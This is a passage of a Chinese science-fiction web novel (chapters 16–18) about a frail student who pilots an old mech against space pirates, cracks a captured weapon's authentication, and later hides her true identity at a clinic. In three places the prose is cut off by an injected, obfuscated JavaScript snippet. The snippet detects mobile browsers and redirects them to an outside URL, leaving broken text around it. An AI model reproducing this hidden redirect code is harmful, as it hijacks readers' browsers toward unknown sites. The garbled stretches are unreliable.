【柏工只能生产老式机甲吧，这几年被爱荷华科技完爆了都。】 有人挖出一张不太清晰的照片。 【我记得莱机所的“恒我”，是柏工负责修复的，难道是它？】 【你是说那台启动都启动不了，被拉去销毁的废弃机？怎么可能。】 【确实挺奇怪的。】 【……在宇宙里看不太清楚，有没有其它角度的图片啊？话说这是和星盗打起来了吗，什么情况，现场直播？】 很快，有人上传了一段视频，视频角度非常独特——似乎是透过星舰上的舷窗拍摄的。 视频中，黑色机甲正飞快地以远离星舰的速度飞行，它体型轻快，被它所追逐的，是一台黄色的“屠杀者”。 屠杀者原本就是战斗型机甲，体量不大，以灵活著称，在战场上向来只有它追着别人跑的份，现在竟然被这台机甲追着走？ 这台黑色机甲的性能得好到什么地步！ 黑色机甲在两台屠杀者靠近的时候，避开迎面而来的武器，飞速绕后，以极快的速度侧身擦过黄色的“屠杀者”。与此同时，黑色机甲高硬度的手部外壳，直接砍爆了黄色屠杀者的识别仪器。 手部外壳——热力刀，这是黑色机甲身上唯一的武器。 没有填装炮弹，但是面对全副武装的星盗却把他们玩得团团转。 能源核心爆发出更大的能量，而几道蓝色冷光闪过。 黑色机甲瞬间闪现在屠杀者旁边。 它直接用热力刀下手，砍掉屠杀者能源线路，卸掉四肢和武器。 十秒。 只花了十秒。 它连续击沉了两台机甲。 还挑衅一般，用敌人的能源核心在太空中放烟花。 直播间一片沉默。 【我想起一个成语不知该不该说。庖丁解牛。】 【这个解体过程，有点像我吃螃蟹，一个腿，一个腿，再一个腿。】 【突然想吃螃蟹了，点个外卖。】 【点个外卖+1。】 敌方的机甲还剩下一台。蓝色和黑色机甲在太空中对峙。 【黑色机甲里面肯定是个老牌机师吧？对屠杀者的结构竟然这么了解。】 【可不只。对手不是一般的屠杀者，是经过多次改造的屠杀者，加了不少层装甲，结构和强度都根据实战进行了大幅度增强。】 【也就是说，黑色机甲的机师不仅得知道屠杀者的结构，还要在短时间内摸清装甲的改装构成？恐怖如斯。】 【这是个老手，一级机师没跑了。】 【但战况还是不太乐观。】 【啊？什么情况，大佬解释一下啊。不是已经砍掉两个了吗？一对一不可能还赢不了吧？】 【剩下那台蓝色屠杀者一直在避让，没有正面攻击，想拖时间。你仔细看，这台知觉机甲一直在进行高精度操作——这很厉害，但对精神力消耗非常大。】 大佬叹气。 【这样下去，它的机师坚持不了多久的。】 【最重要的是——星盗有远程武器。】 16. 第 16 章 屠杀者一直绕着圈，前后左右乱跳，在陶影想休息的时候，时不时骚扰她一下。 泥鳅一样，非常狡猾。 明显想拖时间消耗她的精神力。 陶影托着脸，半趴在操作台上。手上的钥匙无聊地旋转着。 好保守的战术，没意思。 Resonance共鸣模式，是她给恒我设计的特殊模式，可以极大程度上降低机师和恒我之间精神力延迟。 她不再需要看任何面板，数据会直接灌入脑中。 周围的时间在陶影的理解中都慢了下来。 星盗的动作也是。 距离她进入Resonance共鸣模式，才过去了五分钟。但她体感，已经过去了好几个小时。 这个模式的代价就是，会极大地增加机师的精神力消耗。 本来预估十分钟应该没问题。但陶影忘了过量的精神力消耗，对体质也会有影响。 朋友，头疼啊朋友。 喉咙口还有一股微妙的甜味。 陶影咽口水，压了压。 光脑助手： 【主人，救援小队已经很近了。只要再撑过这五分钟，就可以得救了，请不要轻举妄动，你的身体情况不允许。】 “？” 光脑助手的语气突然变得非常人性化。大概是怕她死了吧，说话有点焦急的意味。 但大家没有这么熟，就算是智能体，也请有一点边界感，谢谢。 ……说起来刚刚好像把光脑静音了来着，它怎么又开始说话了。 “你在教我做事？”陶影眯起眼睛。 她也真的是有点闲，竟然在战场的休息时间调戏起光脑助手。 人吧，有的时候就是这样，越是危险的时候，越是想干点有病的事。 陶影忍不住：“你说话有点像我初恋。” 光脑助手：“……” 光脑助手顿了一下，似乎不知道该如何反应。 她的初恋……是爱荷华家那个可恶的金发男吗？ 光脑助手声音低落了一点。 【……虽然不太了解你的初恋是谁，我跟他也不像，但请你正视光脑助手在你生死关头提出的意见。】 说完光脑助手可能发觉自己的语气不太对，又补了一句。 【请认真参考我的意见，珍爱生命，远离危险，主人。】 陶影：…… 这个智能体的库是不是吃了什么奇怪的数据。 除了最后那个“主人”，这说话方式，和她初恋生气的样子简直一模一样。 要不是光脑助手一直在滴滴，她还以为是自己产生了幻觉。 可惜，她初恋已经去世很多年了。 陶影叹气。 算了算了，不说这个了。 放空大脑休息了三十秒，觉得身体状况稍微好一点，陶影立马撩起袖子开始干活。 她的动作有微妙地减慢。敌方也看出来这点，继续和陶影拉开距离，进行周旋。 光脑助手：“那个，还有四分钟，请不要……” 轻举妄动四个字还没说出来，陶影就窜到刚刚卸成碎片的黄色屠杀者旁边，一把捞过了它肩部的小口径炮。 陶影掂了掂小口径炮。 非常漂亮的外观设计。 SC48-“死吻”，人称“死亡之吻”。多发速射型，经济适用，纯粹为了干掉对手而存在的武器。 打中了就死。 其外置的电子模块可在爆炸后重创星舰的能源模块，常用于对星舰进行火力威慑。 屠杀者常用的小型炮。居家旅行必备良品——她要是星盗她也优先安装这个。 不过她不是星盗，所以得优先干掉拿这个的敌人。 然后把武器抢过来。 直播间飞过一群省略号：“……” 【她不会是打算用“死吻”开炮吧？】 【不是，这时候不应该想办法拖延时间，等待支援吗？她拿敌人的武器做什么？】 【虽说有远程武器的确是好事，但她这么挑衅，万一刺激到星盗怎么办？】 【而且机甲的武器都是有加密认证的。那是捡的机甲武器，不是路边偷电瓶车啊！要认证的啊朋友！Verification！認証！Autorización！】 【+1】【+1】【+10086】【ls对偷电瓶车很有经验的样子。】 【别说了，现在就算是电瓶车，也需要加密认证！何况是危险武器！！！】 对方星盗显然也很明白这个道理，开公频嘲讽陶影：“哈哈，你抢这个有什么用，都是绑定了机甲的，你又用不了。” 当然，机甲所携带的武器需要经过认证才能使用—— 毕竟没有任何一个机师希望她的武器在战场上被敌人捡到能直接使用。 这种常识陶影还是有的。 但陶影不是机师。 她挑眉，把“死吻”接入数据接口。 “虽然我不是机师，但我懂程序呀。” 作为机甲系统设计师——她偶尔也在深雾网络上帮人调试一下武器。 破解一个武器认证对她来说并不是什么难事。 屠杀者是雇佣兵最喜欢使用的机甲型号，陶影简直不能太熟。刚刚在和星盗周旋的时候，同时让恒我接入了武器的认证模块。 她的精神力来到一道墙壁前，手扶可视化防火墙。 电子墙壁很快在她的攻击下变成一串串Code。 “代码东拼西凑……太不优雅了。能运行到现在简直是个奇迹。” 陶影一边解析，一边啧啧且毫不留情地点评改装机师的代码水平。俨然回到当初在莱机所的工作状态。 【前方敌人接近。】 【武器解析已完成，请问需要立刻接入吗？】 “接入。” 【好的，恒我本机正在执行接入程序。】 【接入已完成。】 眼前的电子防火墙消失，显示出HUD面板。 一片深邃的太空中，那台蓝色机甲接近，开始挑衅。 看来是觉得她的精神力已经消耗得差不多，打算趁这个机会攻击。 公频里，对方星盗还在挑衅：“来啊你开炮啊。拿到武器又怎么样，你能用吗？” 陶影叹气。 “虽然不懂你为什么提出这种要求，但没办法，我这个人，很善良的。既然你提出要求让我开了。” “那我就大发慈悲地开啰。” 陶影满面微笑地架起武器。 “轰——” 下一秒，毫不迟疑，炮筒射出的弹药，在星盗身边炸开。 “卧槽！”公频里传来对方星盗的叫骂声。 声音不外乎是“怎么可能”、“骗人的吧”，还有一连串不宜展示的脏话。 “哎，打歪了，真不好意思。再来几发吧，你站那儿别动啊。” “你要不要脸的啊！”对方星盗忍不住了。 “大家都是成年人了，要脸干嘛。” 说干就干。弹道冷却结束，陶影紧接着又来了好几发。 对方星盗被打得到处乱跑。 “别跑啊。不是你让我开炮的吗，躲什么？”陶影漫不经心地打了个哈欠，随后微微一笑。 “求饶我也不会停手的。” 星舰上近距离围观全程的研究员们：“……” 你抖S啊喂。 等到子弹打完，陶影把炮筒往旁边一扔，失望地叹气：“一炮没中。” 还是太菜了。 算了算了，初次驾驶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588638|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 恒我的精神力模块对本机的控制虽然很强力，但外界的武器因为没有做过适配，使用感很差劲。 尤其在陶影根本没有做过相关训练的情况下，很难对准方向。 真正的机甲对战，不是耍耍小聪明就能赢的东西，需要大量的训练。 这种精细的精神力瞄准，看来对现在的她还太难了。 …… 不对，什么现在的她以后的她。 陶影一身冷汗地惊醒。 这次开机甲纯纯是个意外，以后不会再开了！坚决不开！ 等这场战斗结束，她就回莱门做体质手术！ 然后老老实实写她的程序——！ · 直播间又是一阵沉默。一堆省略号从直播间上方飞了过去。 【发发都非常有力，但全打歪了。我不理解，这跟刚才的机师是同一个人吗？还是说这是她的战术？】 【据可靠消息，机师是个大一新生，还是第一次开机甲。我就说嘛，这人体夕阳红枪法，一看就是个新手。】 【什么？大一新生？现在的军校新生这么恐怖吗？】 【我破防了。训练了三年，还够不到她精神力的下限。道心破碎了家人们。[大哭][大哭]】 【我也破防了。】 【破防了+1】 【这么说来，星际该不会又要出一个精神力体质双S的天才吧！】 【这才大一，说不定经过训练，她的精神力可以到S+，甚至SS级别。】 大家虽然纷纷发弹幕破防，但破防完还是送上了真诚的祝福。 【希望能在今年机甲联赛看到一点新血液。】 【啊啊啊已经兴奋起来了，迫不及待想看今年的机甲联赛！我要看新人大杀四方！】 【话说这个星盗竟然没有限制武器的使用权限？也太菜了。真奇怪啊，照理说肯定是有的，不会是认证模块被这位机师破解了吧？】 【怎么可能，顶级黑客也没办法这么快拿到权限。不都说了是大一新生。精神力这么强电子战还这么强，要真这么全面，这不是新生了，是魔鬼吧。】 【那，那可能是模块本来就有缺陷吧，我不懂程序，乱说的。】 直播间一时开始热烈讨论这名大一新生究竟是谁。 无人在意的角落，刷过一条弹幕。 【我之前还以为看错了，不敢认……这果然是莱门机甲研究所那台被烧毁的“恒我”吧？】 …… 公频内的星盗还在叫骂。 显然，在陶影一连串“死亡之吻”的攻击下，他彻底失去了理智。 “你怎么攻破武器识别模块的，不可能！不可能！” 直播间的观众不知道，但星盗知道，他们的武器有限制使用权限。而且是层层加密的认证权限。 这个机师为什么能直接使用他死去同伴的死吻？！ 因为太过震惊，星盗嘴里只能不停说出不可能三个字。 难道是武器出现了故障？ 怎么可能有这么巧合的事情。 难道是，她破解了武器的认证模块—— 陶影目前没有对这台蓝色屠杀者造成任何的物理伤害。 但对驾驶它的星盗造成了极大的精神创伤。 她的机体描边大法，简直是一场巨大的精神创伤，懂吗，精神创伤！ 星盗看着面前的黑色机甲，像看着一头深渊中的不可名状的魔鬼。 他眼睁睁看着魔鬼走向了另一台机甲，重新接入另一架SC48-“死吻”。 然后将炮筒对准了他。 “嗨。30秒不见，休息好了吗，朋友。”魔鬼笑眯眯地发出宣言。 宇宙中再次爆发出绚烂的烟花。 像是一场盛大的欢迎礼。 17. 第 17 章 此刻远在莱门市的地下。 黑金色运算机上的指示灯如同波涛一般闪烁着。 少年扯了一下白色毛衣的衣领，合上手中的手册。屏幕上，博美形态的智能体正从屏幕左面蹦哒到右边，玩得非常开心。 “已经实时连接上了她的光脑。” “她还真厉害，能在这种情况下把信息传递给救援小队。之后再撑一会儿，问题就不大了。” 博美甩动自己短短的白色尾巴球。像一团毛茸茸的团子。 他看向对面的“人类”。 少年自称Dust。 他紧皱眉头，一直在看陶影的心跳数据。 博美也看了眼面板。 心跳：60。 平稳地停留在60，偶尔会上升到个70、80的。 状态：无氧。 以正常人的表现来说，这不正常。 但以陶影的体质来说，这很正常。 “这不没逝吗，你还在担心什么？” “只要她还没有安全地出现在我面前，我就没办法放心。” “我懂了，你这叫没有安全感。” Dust：“……” 博美乘胜追击：“分离焦虑。” Dust无语：“我又不是你。” “我只是外观形象是博美犬，并不是真的是狗。” “是吗？”Dust手一抬，空中凭空出现一个圆球，扔了出去。 博美下意识跳起来接住。 博美：“……” “好吧，是有一些不可抗拒的深层参数。你们人类的DNA里不也有吗。” 博美清了下嗓子，转移话题。 “根据手环传过来的信息，陶影的精神力处于高度集中状态，我只在军方的数据库见过类似的高精神力波动。” Dust点头：“她精神力一直很高。我跟她第一次见面的时候就这样。” “所以说，你不用担心嘛。她挺厉害的，还救过你一命。说不定就算再死了，也还能活过来。” 少年眼神淡淡地看过来。 “好了我不说了我闭嘴。” 博美怂怂地缩到角落。 这个Dust，平时挺正常的，但只要事情涉及陶影，情绪就容易激动。 尤其是陶影死过这件事，对他来说，简直是禁语。 博美怂怂地跳上黑金计算机。 “说到爱荷华家族——这次的星盗是他们雇佣的吧？为了抢走恒我。” “对，他们偷走的数据只是初版的一部分，需要恒我的机体数据来进行补全。” “那你不趁机把他们偷数据的事情捅出去？事情闹这么大，爱荷华家族肯定会监视陶影，被他们发现陶影的存在，恐怕她会陷入危险。” “不需要，小影发现了。” “什么？” “她早就发现了，这件事情没那么简单。” 博美一头雾水：“她怎么发现的？” Dust又是怎么发现了她发现的？不是，是他漏掉了什么吗？大家都是智能体，他和Dust获得的信息难道有什么不一样吗？ “星盗抢一艘偏远星系的星舰，本身就很奇怪。他们在上舰之后，甚至拿着名单一个个清算乘客，你觉得是为什么？” 对哦，就算提前拿到了名单，乘客的人数也并没有那么重要。 博美跑来跑去，吐着舌头——这是它的思考程式。 “不懂，信息量不够，我计算不出结论。” Dust看他一眼，叹气，嘴里小声说“早就说过你的数据库需要更新了”。 “因为这帮星盗原本就是冲着恒我来的。他们没打算让任何一个乘客活着回去。” Dust拉出星舰内部的影像。 在客舱的角落，有一个奇怪的黑色行李，上面的防水布滑落，露出一个用胶带绑得死死的包裹。 博美对着屏幕疯狂舔舔舔——扫描了一阵，博美惊恐地收回舌头，躲到少年身后。 “这，这这个黑色包裹，难道是炖菜者，那个高强度炸弹！” “……不是炖菜者，是钝裁者。算了不重要，总之是一秒内释放的能量足以瞬间让星舰消失的高强度炸弹。应该是上舰后安装的。” “那我们需不需要通知星舰上的人啊？” “不用，小影已经把炸弹拆掉了。” 博美跳起来。 “什么时候？” “她在客舱坐着，陪那几个小朋友玩得无聊的时候。当时她发现不对劲，黑入监控系统正好看见，就顺手干掉了。” “……” “你的意思是，就那么短的时间？她面无表情地？还一边哄着一群小孩？顺手干掉了炸弹……？” 博美惊恐地后退了一步。 “好恐怖的女人。” Dust点头：“很厉害的女人。” “行吧，我有点理解你为什么只关心她的身体健康了。好像除了体质差还喜欢作死之外，她其它方面确实不太需要我们的帮助。” “那你现在打算怎么办，这次已经潜入她的光脑，下一次又要怎么接近她？” “你什么时候跟她坦白身份？” Dust有些犹豫。 坦白什么呢？她说不定都不记得他了。 “等她到了莱门大学再说吧。现在有其它事情要做。爱荷华家族在关注这场战斗——” 他能做的不多。至少能用更海量的信息，把陶影的信息隐藏起来，暂时不让她被爱荷华家族的人发现。 ……不被她那位初恋发现。 少年抿唇，不知道在想什么，过了一会儿，他拿着日记，开始往回翻。 博美对他这个状态非常警惕。 每次Dust开始翻他那个破日记本，就要发生一点大事。 也不知道里面究竟写了些什么，就跟记仇小本本一样。 “Dust，你想干嘛？别胡来啊。这个月电费挣够了吗！我可不想被莱门监测所抓住。” “他们还没那个本事。不过你说得也有道理，这个月电费确实超标了。” 毕竟地下三千米的绝密服务器，要租还挺贵的。 “所以我们一边观察小影的情况，一边……” “一边？” 少年面不改色。“没什么，一边往星网上放点爱荷华家族的黑料吧。删贴的时候顺便挣点电费。” “……” 干坏事都这么面不改色。 真是不是一家人不进一家门。 · 直播还在继续。 画面当中露出一角红色，似乎是一条围巾。围巾的主人声音激动，连画面都有些抖动。 “新来的家人们可能不知道现在什么情况，主包给你们解释一下，我现在就在第四星系到第三星系航段的雾海号星舰上，刚刚被星盗抢劫了。” “场面之惊险，那个子弹擦过我的脑门，射中我身后的舷窗，我当时真的以为自己要死了，遗书都写完了。还好有位学霸姐力挽狂澜，制定了作战计划，救我们于水火之中——总之发生了各种事。我现在手里还拿着星盗的电磁枪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594677|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你们不知道啊，那个场面跟电影里一样一样的——” 赫莉话还没说完，镜头里突然挤进一对长得特别相像的兄妹。 “不好意思，我们的朋友有点激动，她是第一次遇到星盗，大家包容一下。” “说得好像你们不是第一次遇见星盗似的。” “这趟旅行结束，我要去换个人工心脏。” “以后都要对坐运输舰有心理阴影了。” 屏幕上疯狂闪过一堆希望主播平安的弹幕。 【我去，真的假的，真亏你们能活下来。人没事吧？】 赫莉夺回自己的光脑，给了本杰明和索尼娅一人一脚。弹幕上都是新进直播间要看机甲的网友，她一边努力把镜头贴上舷窗，对准外面那台黑色机甲。 那位力挽狂澜的学霸姐还在……呃，放烟花。 感觉她好像玩得挺高兴的。 但不管怎么说，对面的星盗被打得毫无还手之力。 不愧是学霸，果然厉害的人什么都厉害。 赫莉举起镜头，转头继续向直播间一波一波涌进来的观众，兴奋地解释。 “我都不知道该怎么跟你们说，太复杂了，看到现在外面那台机甲了吧，多亏了坐在那里面的人，不然我们整舰的乘客，估计现在都成太空亡魂了。” “这个事情要从三个小时之前说起——” · 烟花放完。 陶影的精神力终于到了极限。 驾驶舱内，陶影的手紧握着机械操纵杆，她感觉自己的血液仿佛在燃烧，脑浆都快蒸腾了。 很好，体力也到了极限。 不过比她预想的撑得还要再久一点。 星盗接收到了她的挑衅，已经完全忘记了攻击星舰这回事。哪怕在陶影已经不主动保护星舰的情况下，也只发疯一样地攻击她。 陶影发誓，她本来是不想帮忙保护星舰的。 ——但总不能看着星舰上的同事被炸掉吧。 没了这两个祖宗，以后怎么重建莱机所。 在一次超大幅度的转弯后，陶影能感觉到自己的精神力被撕扯开——恒我有针对这个情况的保护机制。 很快，精神力触手逐渐和她断开了连接。 【Resonance模式已退出。】 【知觉驾驶模式已退出。】 【共鸣60%——30%——10%。为保护机师已降至最低共鸣程度。】 【SPIRAL，你不能再继续驾驶了。】 “知道了，下次继续……不是，没有下次了。” 陶影抹了一把汗水。 对方星盗又冲上来攻击，陶影一个避让，手忙脚乱地在机械按钮上戳戳。 左左右右上上。 坐标已经发过去10分钟，这十分钟长得像10年。机甲小队的人还没有来吗？ 一个急速的悬停后，HUD面板出现三台机甲。 “机师，你没事吧。我们是柏氏工业的救援小队。” 训练有素，装甲上干干净净的也没有小广告，一看就是正规机甲。 三台机甲直接将星盗围了起来。 终于结束了。 肾上腺素水平下降。 陶影身体一阵放松，哪儿都酸痛起来，这时突然觉得鼻腔传来一阵温热，她下意识低头一看，红色的血滴滴滴答答地落在她的衣服上—— 血。 是血。 一种足以比拟精神力连接时的眩晕感袭来，陶影再也无法支撑自己的意识。 她晕了过去。 18. 第 18 章 醒来的时候，陶影闻到了医院的消毒水味。 身体太差，呼吸对她来说都是一种负担。 她取下呼吸罩，坐起身，就花费了近乎全身的力气。 肚子有些饿，她的手自然抚在胃部，她垂头一看，身上不知什么时候换上了病号服。手背和手臂贴满了贴片，胸口和腹部也是。 身侧的仪器上闪烁着各种看不懂的数据，时断时续地发出规律的滴滴声，但……好在心电图那里没有看到一根直线。 她晕过去的时候，差点以为自己真的又要死了。 醒过来才想起她有晕血这个毛病。 所以她最后竟然不是因为精神力到达极限而晕的，而是因为晕血倒下的…… 陶影眨巴一下眼睛。 再开机甲她就是狗！ 床铺给人感觉有些奇怪，被子异常地轻，陶影轻轻掂动床头的水杯，重力系数明显低于宜居星球的标准，看来这里恐怕是宇宙中的某个临时医疗站。 星盗总不会那么好心，把她送来医疗站。所以，现在整艘星舰应该是安全了吧。 病房的门被推开，医生走了进来，她旁边跟着两个人。 一名五十来岁的大叔，一名身形高挑，肌肉线条漂亮的青年——下巴处一块淤青，左手缠着绷带。 是柏氏工业那位研究员和机师，老梁和程岩。 紧跟在他们身后，又进来了三个学生，是赫莉他们。 再之后，还有莱机所的两位研究员。 病房里一下子挤进八个人，空气都变得稀薄起来。 赫莉眼疾手快地挤进人群最里侧，上下摸了摸陶影，似乎没有外伤。几个小朋友叽叽喳喳七嘴八舌地： “你没事吧，我们听说你吐血晕过去了？” “是啊，你不是晕血来着？” 车研究员大吃一惊：“什么，晕血，那不是八百年前的基因病吗？！” “准确的说，是1300年前……” “虚数，虚数你懂不懂？” 医生手里拿着文件，走到病床前，上下打量陶影，啧啧地赞叹了几声。 “你还真敢上驾驶席，我都不知道你是怎么活下来的。怎么不干脆死了再来找我治疗？” 陶影微笑道：“其实我已经死了，现在你们看到的我，是太空女鬼。” 医生听得冷笑。“真不怕死啊？还有心情开玩笑。”她半挑起眉，拔出胸前的按动笔，在报告上写字。 “再晚点来，你就真成太空女鬼了。” 陶影轻咳了两声，坐直身体。 “我的身体大概什么情况？” “精神力极度疲劳，还好你驾驶的那台机甲似乎有保护措施，才没有造成永久性的损伤，但要恢复原本的水准，也需要修养很长一段时间。” 人的精神力像皮筋一样，虽然短时间内的大量使用，可以通过休息来恢复，但如果到了过度使用的程度，就会直接把皮筋拉断—— 还好恒我为了保护陶影的精神力，提前断开了连接，才没有造成永久性损伤。 谢谢你，恒我。 陶影心中默默为那堆精神力触手竖了一个大拇指。 “至于你的体质……”医生叹了口气。 “星历1224年了，怎么现在还会有这么离奇的身体状况，啊？我都想拿你写篇论文了。营养不良先不说，免疫系统缺陷，重力变化不适应症，再加上晕血——这还是我们这里的仪器能检测出来的范围有限。我列出来的数目只是你基因病的下限，不是你的上限，你什么情况，长期遭遇过太空辐射？还是人类进化基因病的时候把你给落下了？” “哦……哦。”赫莉她们听得一愣一愣的。 围观群众交头接耳：“听说宇宙医疗站的医生脾气一般都不好，因为平时要不就没人交流，要不就是和一些不太会说人话的雇佣兵交流。” “不过她还是挺专业的，你看报了这么一长串病名。” 医生磨牙：“我听见了。” 转头继续询问陶影的病史。 陶影点了点头，像在说别人的事情一样。 “嗯，大概是轻度的宇宙辐射综合症，毕竟我以前一直待在偏远星系。” 宇宙辐射综合症，指的是长期暴露在太空辐射下，患者会出现一系列的基因病症状，刚刚医生所说的大部分症状，比如免疫系统、重力不适应，都在那些基因病症状之中。 这台仿生人本来就打算运去偏远星系销毁，在运输过程中遭遇过量的辐射，产生突变也不是没有可能。 医生翻了几下数据，说话正经起来。 “和我的判断差不多。不过还好你的病情不重。听说你去莱门上学？学校针对基因病有特别补贴，你这个情况，申请到的补贴足够你做基因病手术了，虽然手术不能彻底改善你的体质，但也能恢复到普通人的水平，只要不做一些体力劳动，正常生活还是OK的。” “只是你这个身体实在不适合驾驶机甲，以后要注意。” “啊？”程岩忍不住低呼出声。 以后不能驾驶机甲？太可惜了吧！ 刚刚他才知道，“解锁者”竟然是第一次驾驶知觉机甲，第一次就能驾驶得这么好，简直超乎想象。 这名学生，在驾驶方面非常有才能。哪怕是他一个二级机师，面对三个穷凶极恶的星盗，都不一定能撑到那个地步。 现在竟然说这名学生，因为身体太差而无法驾驶……这实在太可惜了。 在场众人要么惊讶，要么可惜，要么追问医生有没有其它解决办法，陶影对此倒是并没有太大的反应。 驾驶知觉机甲的感觉，的确很奇妙……但，她从以前开始，对开机甲就没有什么兴趣。 陶影心脏跳得很快，大概身体还没有完全恢复。她压下心中一点微妙的声音，回复道： “当然，这次本来就是特殊情况，我对开机甲不感兴趣。以后应该不会有驾驶的机会了。” “那就好。”医生手拍了两下文件夹，又说明了一下这两天的注意事项，随后就离开了。 陶影向把她送来医疗站的老梁和程岩表示谢意。 老梁犹豫道：“事实上，柏小姐想和您说几句话……” “柏墨？” 陶影正好想和她聊聊恒我的事情，这会儿倒是很巧。 她大方地点点头。 “正好，我也有事找她。” 她接过程岩的通讯器，见柏氏的两名员工似乎有点欲言又止地盯着车研究员和大龙。 陶影反应过来，解释道：“他们是莱机所的研究员，我想柏小姐应该也认识他们，不用担心。” 莱门市还是深夜。 柏墨坐在窗前，明显一直熬着没睡。 她说了一些话，大概意思就是希望陶影可以继续驾驶恒我。 柏氏工业可以为她提供资金。 陶影果断拒绝了。 “按照规定，恒我十年内不会被销毁。找到适合它的机师是你们的工作，我还有其他重要的事情要做。” “什么事？” “去大学报道。” “……” 病房里一时传来尴尬的沉默。 是哦。她说话不太像个学生，一时都忘了，她坐上这艘星舰的原因是去莱门市上大学啊！ 程岩还在状况外，他震惊地按住床沿，对着陶影那张脸，不可置信道：“你，你是大学生？” 老梁更是：“不是中学生吗？” “中学生是解锁者不是更可怕吗？” 赫莉自豪地道：“她可是莱门大学的高材生。” 程岩绕着病床走来走去：“她这个身板，怎么看都只有十几岁啊？” “单纯的营养不良吧。” 车研究员慈祥地拍拍学妹的肩膀。 也不能怪大家吃惊，她这体型确实挺营养不良的。 去了莱门多补补吧。 在陶影接受治疗期间，原本的星舰已经启程离开。他们现在一群人都在太空医疗站，等待运输。 会面结束，大家商量了一下时间，一群人要去上学，另外一群人要去找柏墨报告这次的事件。 但总之目的地都是莱门市。 “干脆包个小型舰一起去莱门市算了？”车研究员提议。 “附议。”“没有意见。”“反正是柏氏工业出钱。” 就这么愉快地订好小型舰，大家开始收拾行李。 陶影被车研究员推出病房，手里翻着行李，顺口问了一句。 “话说回来，你们去莱门市，原本是打算干什么的？” 陶影发誓，自己真的只是顺口一问，并不是真的想知道答案。 三秒后，车研究员似乎反应过来自己忘记了什么，抱头大喊一声。 “啊啊啊！！！偷走老大骨灰的小偷！” 陶影：“？” 虚拟屏幕上的柏墨也是顿了一下：“老大？你们是说陶影研究员？” 老梁和程岩齐声道：“骨灰小偷？” “没错，那个偷走我们老大骨灰的变态！” 陶影：“啊？” 说起来，当初她的尸体是怎么处理的？她的亲人都不在了，那是谁领走了她的尸体。 新闻里面说得不清不楚的，记得是放在了爱荷华家？ “陶影的尸体是谁领走的？” 一说到这个，车研究员就激动了起来：“你不知道？尤里斯·爱荷华啊，我们老大那破未婚夫，咳，不好意思，我不太喜欢他。” “总之，这件事当初还上了星网头条，给了他好大一块版面。” 车研究员明显很真情实感，说得唾沫横飞。 “说什么尤里斯有情有义，说我们老大名声差，说尤里斯为了把老大葬在爱荷华家的墓地，和他爷爷大吵一架，在雨中跪了两天两夜！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600822|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不是，都什么年代了，他们家的人是不是都表演型人格？谁稀罕他们家那破祖坟。而且我们老大哪里名声坏了，都是有人给她泼脏水。” “我们老大的尸体有的是人要，他们还嫌弃上了！” 众人：“……” “车，你这个说法有点。”怪怪的。 大龙不停擦汗。 “这个不是重点！” 车研究员说到这个，非常激愤，握紧了拳头：“我们这次去莱门本来就是为抓住骨灰小偷，谁知道半路杀出一群星盗，才搞得手忙脚乱的。” “但是在看到恒我的一瞬间，我明白了，这趟旅程，肯定是老大的在天之灵在提醒我们什么，比如一定要在这里救下恒我之类的……” 不，你们老大的在地之灵，根本没想到会在这里和你们碰面。 陶影呼出一口气，面色僵硬。 算了，车研究员胡来也不是一天两天了，柏氏工业的下任当家总不会跟着胡闹—— 陶影低头看了一眼平板，沉默了。 柏墨竟然还真的临时查起了当年那桩头条新闻，且神色严肃地表示“我会帮你们留意陶影骨灰的下落的”。 陶影嘴角抽动两下，一脸为难：“不用了，我觉得她应该不是很在意这件事……” “你怎么知道。” “我当然知道，因为我和她有一些复杂的关系。” 在看到车研究员张大得能塞进一个鸡蛋的嘴之后，陶影噗嗤一声笑了。 “我的意思是——我是陶影——资助过的学生。” · “所以你的意思是，你曾经见过恒我的资料？”虚拟屏幕那头的柏墨两手交叠，神色严肃道。 “是的，陶影死后，我用一些方法查到，她在第三星系有一个隐藏的住所，那里的服务器存留有一些恒我的资料，大概是她的备份吧。” 支开无关人士后，陶影解释道。 她出生在第三星系，在那里的确有住所，偶尔还会回去看看。 不过那个家存留有恒我的资料就纯属胡说了，陶影根本不可能把资料留在这种不安全的地方。 至于陶影为什么编造这样一个故事—— 她需要一个理由，她对陶影本人如此熟悉，对恒我如此熟悉的理由。 遮遮掩掩总会出错，不如真诚地说点假话。 最好的谎言，就是真假参半。 “原来是这样。是有听说陶影在莱机所的时候，以她家人的名义资助过不少学生。” “但你怎么查到她的备用系统，又是怎么进入的？以她的隐匿能力，不太可能被发现吧。” “这个涉及个人隐私，就不便透露了。” 陶影微笑。 柏墨看着屏幕这头的人，沉默片刻，没有再问。 